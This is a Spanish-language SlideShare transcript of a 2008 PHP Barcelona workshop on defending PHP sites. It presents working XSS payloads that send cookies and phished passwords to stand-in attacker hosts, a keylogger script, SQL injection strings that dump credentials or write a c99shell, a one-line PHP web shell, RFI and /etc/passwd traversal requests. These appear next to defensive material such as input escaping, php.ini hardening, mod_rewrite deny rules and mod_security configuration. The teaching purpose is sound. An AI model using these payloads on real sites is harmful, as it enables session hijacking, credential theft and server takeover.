Your SlideShare is downloading. ×
Presentación Workshop php Barcelona Seguridad
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Saving this for later?

Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime - even offline.

Text the download link to your phone

Standard text messaging rates apply

Presentación Workshop php Barcelona Seguridad

2,191
views

Published on

Presentación PHP Barcelona WorkShop 2008, por Federico Montes Quiles

Presentación PHP Barcelona WorkShop 2008, por Federico Montes Quiles

Published in: Technology

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
2,191
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
76
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Proteger nuestros sites PHP de ataques Frederic Montes Quiles Oriol Jimenez Marcos U. Bernal CTO phpAuction finday.com phpAuction
  • 2. Presentación Presentada por: o Federico Montes Quiles, 35 años • CTO de phpAuction en la actualidad • Más de 10 años de experiencia en el sector, empleado de diversas agencias de publicidad interactivas con grandes cuentas como Peugeot o Nestlé, director técnico y director de sistemas GNU/LInux. o Oriol Jiménez, 30 años • 10 años de experiencia en el desarrollo de aplicaciones PHP y administración de sistemas *NIX • Actualmente trabajando como Lead developer / CTO de finday.com, un nuevo .com de Grupo Intercom. o Marcos Ulises Bernal Robles • Programador de phpAuction, en México D.F. • Desarrollador durante 4 años en entornos PHP. Metodología: o Duración: 1 hora y media • Ponencia: 30 minutos • Parte Práctica: 1 hora o Ejercicios Prácticos (Online)
  • 3. Abstract Desde que se publicaron las primeras páginas webs, hackers “éticos” y no tan éticos, adictos al fastidio o tiempo e información ajena no han parado de realizar actos a través de los cuales se producían accesos remotos con el fin de ver, modificar y borrar contenidos remotos. Además, la suplantación hace que un usuario “inocente” se vea ante la posibilidad de que alguien en su nombre se tome determinadas licencias que puedan ser perjudiciales a terceros y por ende a éste mismo. Últimamente este tipo de ataques se han especializado y ya gozamos con una amplia clasificación de los mismos, encontrándonos con terminología como XSS, SQL-Injection, RFI, PHP Code injection, robo de cookies, ejecución remota... y un largo etcétera. El objetivo de esta presentación es realizar un estudio más o menos completo de las diferentes formas de ataque y, lo más importante, cómo lograr evitarlas.
  • 4. “XSS es un ataque basado en explotar vulnerabilidades del sistema de validación de HTML incrustado. Su nombre original quot;Cross Site Scriptingquot;, y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de quot;scriptingquot;, en el contexto de otro dominio. “ - Wikipedia
  • 5. Introducción La definición de XSS va variando según quién elabora un artículo. Nos concentraremos en los “Ataques a nuestra web”, sean o no XSS: o HTML Injection • Inserción de código HTML y Javascript no controlado con diversos propósitos o SQL Injection • Inserción de sentencias SQL con diversos propósitos o Remote File Inclusion • Ejecución de ficheros remotos a través del aplicativo por parte de un atacante o PHP Code Injection • Inserción de código PHP no controlado en nuestro código PHP (eval()) o Traversal directories • Subconjunto del RFI que mediante accesos a directorios superiores en la jerarquía acceden a ficheros remotos. o Cookie Manipulation • A través de * Injection se puede recuperar una cookie ajena y utilizarla para validaciones fraudulentas o URL Redirection • Redirección a un tercer servidor donde nos preguntan datos privados o Main Injection • A través de formularios de “Envia a un amigo”
  • 6. ¿Qué puede ocasionar? Ademas de infortunios y dolores de cabeza: o Inyección de virus o iframes ocultos o Ejecución de comandos del servidor o Troyanos o Phishing o Accesos no permitidos o Lectura de contraseñas o Ficheros remotos o Suplantaciones o Visión de datos o Borrado de los datos… o Spam Los atacantes suelen utilizar los servidores para realizar un ataque a terceros borrando así la ruta originaria.
  • 7. Vulnerabilidades HTML Injection no persistente Una buena forma de empezar sería emplear el buscador. En el campo de texto introducimos el siguiente código: <script>alert(quot;Aqui hay un bug”);</script>  Si nos saliera una ventana de Javascript diciendo “Aqui hay un bug” ¡BINGO! encontramos la primera vulnerabilidad. Así pues, podríamos poner el siguiente: <script>document.documentElement.innerHTML=quot;HTML  nuevo”;</script> Se podría cambiar su contenido HTML desde nuestro navegador.
  • 8. Vulnerabilidades HTML Injection persistente Si este mismo error fuera en el mensaje de un foro con acceso al público: <script>window.location='http://www.webataca.com/cookie.php?cookie='+document.cookie;  </script> Estamos redirigiendo a cualquier víctima a una página remota no ha solicitada apoderándose de su cookie y haciéndose pasar por él. Los datos, además, quedarían grabados en su base de datos y por lo tanto es mucho más eficaz. Se puede incluso hacer mas sutilmente con iframes: se pone el código dentro de un iframe oculto y se reenvia la cookie que es procesada en el servidor atacante y guardada para uso fraudulento. <?php $cookie = $_GET['cookie'];  $f= fopen(quot;archivo.txtquot;,quot;aquot;);  fwrite($f, quot;$cookie nquot; ) ;  fclose($f)  ;?>
  • 9. Vulnerabilidades Juguemos ahora un poco con la ingenuidad del usuario medio: <script language=quot;javascriptquot;> var password = prompt(quot;La sesión ha terminado. Por favor, vuelva a introducir su  clave:quot;); document.location.href=quot;http://elqueataca.hack/pesca.php?passwd=quot; + password; </script> O un poco más elaborado: <script language=quot;javascriptquot;> var password = prompt(quot;La sesión ha terminado. Por favor, vuelva a introducir su  clave:quot;); document.write(quot;<iframe src='http://elqueataca.hack/pesca.php?passwd=quot; +  password+quot;' style='display:none;'></iframe>quot;); </script> o El usuario ha podido “darnos” su contraseña sin que se haya dado cuenta. o También podríamos usar un div oculto que nos enviara mediante POST y un formulario
  • 10. Vulnerabilidades Es posible programar un sniffer que acompañara al usuario por toda su visita a la web, adueñándonos de cada evento de la tecla pulsada: usuarios, passwords, e-mails. document.onkeydown = keyDown; document.forms[0].onsubmit = mostrar; var txt = quot;quot;; function keyDown (evento) { // Recuperamos evento y tecla var objEvento =window.event? event : evento; var tecla = objEvento.keyCode? objEvento.keyCode : objEvento.charCode; var caracter = String.fromCharCode(tecla).toLowerCase(); if (tecla == 9) {caracter = quot; <tab> quot;;} if (objEvento.shiftKey) { caracter = String.fromCharCode(tecla).toUpperCase(); } textocapturado += quot;quot; + caracter; }
  • 11. Vulnerabilidades SQL Injection El ataque típico de SQL Injection aprovecha la incorrecta manipulación de los datos en una aplicación web y ejecuta código no deseado. Imaginemos una base de datos llamada “Site” y una tabla llamada clientes. 1' OR 1=1; SELECT * FROM Clientes WHERE id <> ' y el siguiente código PHP para este buscador: $q = $_GET['buscador']; $sql = “SELECT * FROM buscador WHERE q='$q'”; En realidad estaremos ejecutando: $sql = “SELECT * FROM buscador WHERE q='1' OR 1=1; SELECT * FROM Clientes WHERE id <> ''”; Cambiamos esta sentencia por: 1' OR 1=1; DROP TABLE Clientes; SELECT * FROM datos WHERE id LIKE '% BINGO! DE NUEVO Tenemos un borrado total de la base de datos. NOTA: $mysql_query() NO permite la ejecución de varios comandos seguidos para evitar este tipo de incidencias, no así otro tipo de lenguajes
  • 12. Vulnerabilidades Dada la siguiente sentencia SELECT: $sql = “SELECT * FROM clientes WHERE user='$login' AND passwd='$passwd'”; Y el siguiente comando SQL Injection: ?user=pepe&password=x' OR 1=1 Qué creéis que pasaría? ;¿Y cómo recuperamos los datos necesarios para saber qué campos o tablas mirar? Utilizando los mismos métodos; introducimos un SQL que sabemos que sea erróneo: mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'FROM Clients ORDER by id ' at line 1 En esta sentencia, podemos apoderarnos del usuario y password UNION ALL SELECT userid, CONCAT(username, ' ', password) FROM Clients WHERE ''=' Especial caso nos merece las secuencias que no incluyen un “quote”: 0 UNION ALL SELECT userid,password FROM Clients WHERE 1 En el siguiente ejemplo utilizamos la propiedad de MySQL LIMIT para la inyección de datos : ?q=999999, 10 UNION ALL SELECT username, password FROM Clients LIMIT 0
  • 13. Vulnerabilidades Ahora algo un poco más complicado: o SELECT LOAD_FILE(0x633A5C626F6F742E696E69) o SELECT * INTO OUTFILE '/tmp/clients.txt' FROM Clients o SELECT 0x61626... INTO OUTFILE '/tmp/c99shell.php' Remote File Intrusion En la última sentencia, nuestro site está totalmente expuesto a la inyección de ficheros para la ejecución remota. http://hcr.3dn.ru/expl/php/c99shell.txt Remote File Intrusion, o intrusión mediante ficheros remotos, es un fichero no controlado colado en nuestro servidor, y puede realizar un examen exhaustivo, uploads, navegar… una pequeña gran puerta <? $cmd = $_GET['cmd']; system('$cmd >> /var/www/resultado.txt'); ?>
  • 14. Vulnerabilidades Una maléfica forma de realizar un RFI es empleando uno de los métodos más conocidos por PHP para incluir ficheros remotos: include, require, include_once, require_once. Eso, combinado con una incorrecta configuración de nuestro servidor podría dar lugar a líneas de código tan espantosas como: include $path_url. '/config.inc.php'; Si nuestro servidor ha estado establecido como request_globals = on, un atacante podría realizar: http://www.victima.org/?include_path=http://www.maligno.com/rfi.php??
  • 15. Vulnerabilidades Code Injection En el caso de PHP, por supuesto, el más famoso resulta de una mala utilización de la sentencia eval() $myvar = quot;varnamequot;; $x = $_GET['arg']; eval(quot;$myvar = $x;quot;); $ mivar = quot;varnamequot;, $ x = $ _GET [ 'arg']; eval ( quot; $ myvar = $x;quot;); o cualquier otro tipo de comando PHP
  • 16. Vulnerabilidades Traversal Directories Como el RFI se basa en la situación de utilizar include, include_once, require, require_once sin cuidado. Estas sentencias nos mostrarían el contenido de nuestro fichero de passwords. o http://www.victima.org/show.php?view=../../../../../etc/passwd o Código vulnerable <?php $template = 'blue.php'; if ( isset( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( quot;/var/www/appl/templates/quot; . $template ); ?> o Envío de las cabeceras modificadas GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
  • 17. Evitar ataques La lista de los ataques mencionados anteriormente puede crecer y sería interminable. En este escenario, podríamos encontrarnos con dos situaciones bien diferentes: o Tener un site montado y tener que protegerlo o Programar un site desde cero En ambos casos, el conocimiento de las técnicas empleadas por los hackers será apreciado por vuestro servidor de manera inconmensurable. Y la actualización constante de los sistemas nos evitará una gran pérdida de tiempo.
  • 18. Evitar ataques Escape de las entradas o Los más habituales son el uso de: addslashes() / stripslashes() htmlentities($string, ENT_QUOTES) htmlspecialchars($string) mysql_real_string($string) o Evitar que los formularios POST se llamen desde otro dominio que no sea en el propio servidor. o Se puede utilizar el sistema Captcha la famosa imagen deformada (ilegible a veces) para evitar accesos de bots. • o Evitar HTML Injection sería utilizando la clase HTML Purify (http://htmlpurifier.org/) donde podremos “limpiar” nuestro código de posibles intrusiones maliciosas. o Evitar los ataques XSS mediante una lista de tipos esperados y tipos recibidos, haciendo una comparación de los parámetros recibidos. • If ( isset ( $_GET['id'] ) ) • $id = intval ($_GET['id']);
  • 19. Evitar ataques Códigos de seguridad La introducción de códigos de seguridad que nosotros, mediante programación, podemos ir asignando a cada par usuario/formulario sólo válido durante aquél acceso al formulario (generación de sistemas md5, sha1, etcétera). PHP.INI ¿Qué clase de configuración sería la óptima para que un sistema PHP fuera más seguro contra todo tipo de ataques? o openbase_dir o allow_furl_open off o register_globals off o safe_mode on o disable_functions <lista de funciones> o disable_classes <lista de clases> o get_magic_quotes_gpc on
  • 20. Evitar ataques Escaneo de puertos Una manera de evitar ataques a todo sistema operativo, sería mediante la ejecución de código remoto o inyección de código no deseado en servicios que puedan tener relación con nuestro sistema. Los más conocidos son nmap y nessus. Escaneo de vulnerabilidades web o Acunetix, con una gran variante de sistemas de inyección, una base de datos amplia y una interfaz muy amigable. o SSS (Shadow Security Scanner) ofrece también el sondeo de otros protocolos como FTP, NetBios, módulos de Apache , etc. o Fuzzing, las diferentes técnicas de testeo de aplicativos que generan datos secuenciales y aleatorios para obtener así las vulnerabilidades de la victima. http://www.infosecinstitute.com/blog/2005/12/fuzzers-ultimate-list.html
  • 21. Evitar ataques PHP IDS http://php-ids.org/ Sistema basado en PHP que actúa como IDS (Intrusion Detect System) y busca algún tipo de inyección o vulnerabilidad. Puede detectar XSS, SQL Injection, RFI y ataques LDAP Injection y distintos tipos de CMS. Módulos Apache o mod_rewrite Famoso sobre todo para el uso de URL-Friendly. Puede ponerse en el fichero .htaccess, haciendo una protección personalizada sin dependencia del webmaster. o mod_security Un módulo especial de seguridad para Apache. No está muy extendido su uso y muchos proveedores de hosting optan por no instalarlo en sus sistemas.
  • 22. mod_rewrite http://sentidoweb.com/2008/04/09/evitar-boots-molestos-mediante-htaccess.php o RewriteCond %{QUERY_STRING} .txt(?)+$ [NC,OR] mod_rewrite (ejemplo de libre uso) o RewriteCond %{QUERY_STRING} (?)+$ [NC,OR] o <ifModule mod_rewrite.c> o RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>| o Options +FollowSymlinks %3E) [NC,OR] o RewriteEngine On o RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A- o RewriteCond %{QUERY_STRING} load_file.*(.*) [NC,OR] Z]{0,2}) [OR] o RewriteCond %{QUERY_STRING} into.+file [NC,OR] o RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A- Z]{0,2}) o RewriteCond %{QUERY_STRING} into.+outfile [NC,OR] o RewriteRule .* - [F] o RewriteCond %{QUERY_STRING} load.+data [NC,OR] o o RewriteCond %{QUERY_STRING} select.+from [NC,OR] o RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK| o RewriteCond %{QUERY_STRING} create.+table [NC,OR] OPTIONS|HEAD) o RewriteCond %{QUERY_STRING} drop.+database [NC,OR] o RewriteRule .* - [F] o RewriteCond %{QUERY_STRING} drop.+database [NC,OR] o o RewriteCond %{QUERY_STRING} drop.+table [NC,OR] o RewriteCond %{HTTP_USER_AGENT} libwww-perl [NC,OR] o RewriteCond %{QUERY_STRING} drop.+column [NC,OR] o RewriteCond %{HTTP_USER_AGENT} Indy Library [NC] o RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR] o RewriteRule .* - [F] o RewriteCond %{QUERY_STRING} update.+set [NC,OR] o </IfModule> o RewriteCond %{QUERY_STRING} insert.+into.+values [NC,OR] No actua sobre POST o RewriteCond %{QUERY_STRING} insert.+into [NC,OR] se puede poner en .htaccess o RewriteCond %{QUERY_STRING} bulk.+insert [NC,OR] o RewriteCond %{QUERY_STRING} union.+select [NC,OR] o RewriteCond %{QUERY_STRING} alter.+table [NC,OR] o RewriteCond %{QUERY_STRING} base64_encode.*(.*) [NC,OR] o
  • 23. mod_security o Módulo para Apache que actúa con un sistema de reglas para evitar ataques externos a través de nuestro web server o Es un IDS (Intrusion Detect System) además de tener características propias de un firewall o Utiliza el nivel de protocolo HTTP para filtrar los mensajes enviados a través de las cabeceras o Tiene las siguientes funcionalidades: • Filtrado de peticiones antes de llegar al servidor • Análisis de todos los contenidos POST • Sistema de log de auditoría • Normalización de las URL (ante las técnicas de evasión de carácteres) • Filtra también HTTPS • Verificación de los rangos de bytes
  • 24. mod_security # You normally won't need debug logging <IfModule mod_security.c> SecFilterDebugLevel 0   SecFilterDebugLog logs/modsec_debug.log # Enable ModSecurity   SecFilterEngine On # Only accept request encodings we know how to   handle # Reject requests with status 403 # we exclude GET requests from this because some SecFilterDefaultAction quot;deny,log,status:403quot; (automated)   # clients supply quot;text/htmlquot; as Content-Type # Some sane defaults SecFilterSelective REQUEST_METHOD quot;!^(GET|HEAD)$quot; SecFilterScanPOST On chain SecFilterCheckURLEncoding On SecFilterSelective HTTP_Content-Type quot;! SecFilterCheckUnicodeEncoding Off (^application/x-www-form-urlencoded$|   ^multipart/form-data;)quot; # Accept almost all byte values   SecFilterForceByteRange 1 255 # Do not accept GET or HEAD requests with bodies   SecFilterSelective REQUEST_METHOD quot;^(GET|HEAD)$quot; # Server masking is optional chain # SecServerSignature quot;Microsoft-IIS/5.0quot; SecFilterSelective HTTP_Content-Length quot;!^$quot;     # Designate a directory for temporary files # Require Content-Length to be provided with # storage. It is a good idea to change the # every POST request # value below to a private directory, just as SecFilterSelective REQUEST_METHOD quot;^POST$quot; chain # an additional measure against race conditions SecFilterSelective HTTP_Content-Length quot;^$quot; SecUploadDir /tmp   SecUploadKeepFiles Off # Don't accept transfer encodings we know we don't   handle # Only record the interesting stuff SecFilterSelective HTTP_Transfer-Encoding quot;!^$quot; SecAuditEngine RelevantOnly   # Uncomment below to record responses with unusual statuses </IfModule> # SecAuditLogRelevantStatus ^5 SecAuditLog logs/modsec_audit.log  
  • 25. Conclusión No hay ninguna aplicación que no haya sucumbido ante el ejercicio maquiavélico de hackers. Google, Yahoo!, Amazon, hasta los CMS más conocidos, nadie está a salvo de la retorcida mente de estos individuos. Así que si alguien es víctima de un ataque, que no se desmoralice y aprenda de la experiencia. Un sistema ya desenvuelto nos pone en una tesitura muy complicada, debido a que hay que verificar línea a línea los problemas, las vulnerabilidades potenciales y el entendimiento del código. No es un caso trivial tener que proteger un site web. La única forma de obstaculizar el ejercicio de estos atacantes será conocer cuáles son sus técnicas, mantenerse actualizado regularmente de las vulnerabilidades de nuestro entorno, en caso de ser un programa conocido mantenerse alerta a los bugs. Además, un sistema IDS (snort) que nos comunique nuestros logs, su evolución y la constante evaluación de las vulnerabilidades, junto con un escaneo automático, técnicas fuzz, una programación sólida, y algún módulo de seguridad harán de nuestro servidor web una fortaleza (casi) inexpugnable.
  • 26. ¡Gracias por su atención! Podrá encontrar más información en el artículo que se publicará en phpbarcelona.org Enlaces de Interés o http://ha.ckers.org/xss.html o http://www.hardened-php.net o http://www.securityfocus.com/vulnerabilities o http://www.websecurity.es/ o http://www.webappsec.org/ o http://phpsecurity.wordpress.com/ o http://www.elhacker.net/ o http://www.infosecinstitute.com/blog/2005/12/fuzzers-ultimate-list.html o http://google.dirson.com/post/3632-coleccion-vulnerabilidades-xss-aplicaciones/ o http://www.squarefree.com/securitytips/web-developers.html o http://www.cgisecurity.com/ajax/ o http://www.onlamp.com/pub/a/apache/2003/11/26/mod_security.html o http://www.securityfocus.com/ o http://www.securityfocus.com/columnists/418